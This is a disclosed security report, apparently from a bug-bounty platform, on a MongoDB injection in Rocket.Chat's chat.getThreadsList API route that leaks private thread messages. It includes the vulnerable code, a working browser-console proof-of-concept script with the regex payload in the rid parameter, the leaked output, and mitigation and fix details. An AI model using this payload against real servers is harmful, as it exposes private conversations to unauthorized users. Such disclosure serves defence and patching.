

2

## API route chat.getThreadsList leaks private message content

Share:



SUMMARY BY ROCKET.CHAT



### Summary

The `/api/v1/chat.getThreadsList` does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection.

### Description

The `chat.getThreadsList` API route is defined in [app/api/server/v1/chat.js#L522-L572](#):

Code 1.17 KiB

```
1  const { rid, type, text } = this.queryParams;
2  const { offset, count } = this.getPaginationItems();
3  const { sort, fields, query } = this.parseJsonQuery();
4
5  if (!rid) {
6    throw new Meteor.Error('The required "rid" query param is missing.');
```

```
7  }
8  if (!settings.get('Threads_enabled')) {
9    throw new Meteor.Error('error-not-allowed', 'Threads Disabled');
```

```
10 }
11 const user = Users.findOneById(this.userId, { fields: { _id: 1 } });
12 const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
13 if (!canAccessRoom(room, user)) {
14   throw new Meteor.Error('error-not-allowed', 'Not Allowed');
```

```
15 }
16
17 const typeThread = {
18   _hidden: { $ne: true },
19   ...(type === 'following' && { replies: { $in: [this.userId] } }),
20   ...(type === 'unread' && {
```

```

24  };
25
26  const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
27  const cursor = Messages.find(threadQuery, {
28    sort: sort || { tlm: -1 },
29    skip: offset,
30    limit: count,
31    fields,
32  });
33
34  const total = cursor.count();
35
36  const threads = cursor.fetch();
37
38  return API.v1.success({
39    threads,
40    count: threads.length,
41    offset,
42    total,
43  });

```

Clients can provide JSON data in Query Parameters:

Code 45 Bytes

```
1 const { rid, type, text } = this.queryParams;
```

The ACL check is performed against the first room returned by Mongo DB:

Code 163 Bytes

```

1 const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
2 if (!canAccessRoom(room, user)) {
3   throw new Meteor.Error('error-not-allowed', 'Not Allowed');
4 }

```

After the access permission check, the original `rid` parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results:

```

3   sort: sort || { tlm: -1 },
4   skip: offset,
5   limit: count,
6   fields,
7 });

```

An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the `GENERAL` channel was used:

Code 532 Bytes

```

1  const TARGET_ROOM = "<ROOM_ID>";
2
3  const fetchApi = async (url, options = {}) => {
4    return fetch(`/api/v1/${url}`, {
5      ...options,
6      headers: {
7        'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY),
8        'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY),
9        'Content-Type': 'application/json',
10     ...(options.headers || {})
11   }
12 }).then((res) => res.json())
13   .then((data) => { console.log(data); return data; });
14 };
15
16 fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.

```

The object printed to the console has the secret message included in the `threads` property:

Code 1.01 KiB

```

1  {
2    "threads": [

```

```

6         "msg": "secret message",
7         "ts": "2022-01-11T12:26:20.603Z",
8         "u": {
9             "_id": "kYfzDMQLyPFjS9ASb",
10            "username": "gronke",
11            "name": "gronke"
12        },
13        "urls": [],
14        "mentions": [],
15        "channels": [],
16        "md": [
17            {
18                "type": "PARAGRAPH",
19                "value": [
20                    {
21                        "type": "PLAIN_TEXT",
22                        "value": "secret message"
23                    }
24                ]
25            }
26        ],
27        "_updatedAt": "2022-01-11T12:45:40.086Z",
28        "replies": [
29            "kYfzDMQLyPFjS9ASb"
30        ],
31        "tcount": 1,
32        "t1m": "2022-01-11T12:45:39.971Z"
33    }
34 ],
35    "count": 1,
36    "offset": 0,
37    "total": 1,
38    "success": true
39 }

```

For comparison it is not allowed to read the message directly:

```

4     "error": "error-not-allowed",
5     "reason": "Not allowed",
6     "details": {
7         "method": "getSingleMessage"
8     },
9     "message": "Not allowed [error-not-allowed]",
10    "errorType": "Meteor.Error"
11 }

```

### Releases Affected:

- develop

The change was introduced in [#7632f12c](#) and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the `query` parameter instead of `rid`.

### Steps To Reproduce (from initial installation to vulnerability):

1. Create a thread in a private room between users Alice and Bob
2. Login as Trudy
3. Leak Alice and Bobs private Room ID (not discussed here)
4. Query `/api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}`

### Supporting Material/References:

- List any additional material (e.g. screenshots, logs, etc.)

### Suggested mitigation

- Strictly verify input parameter type.
- Use the ROOM ID returned for ACL verification in the final query.





### Impact

Authenticated users can leak thread messages from private rooms they should not have access to.

### Fix

Fixed in version 5.0>



-  [mrrorschach](#) Rocket.Chat staff closed the report and changed the status to  **Resolved.** Jul 25th (4 months ago)
-  [mrrorschach](#) Rocket.Chat staff requested to disclose this report. Sep 22nd (2 months ago)
-  [mrrorschach](#) Rocket.Chat staff disclosed this report. Sep 22nd (2 months ago)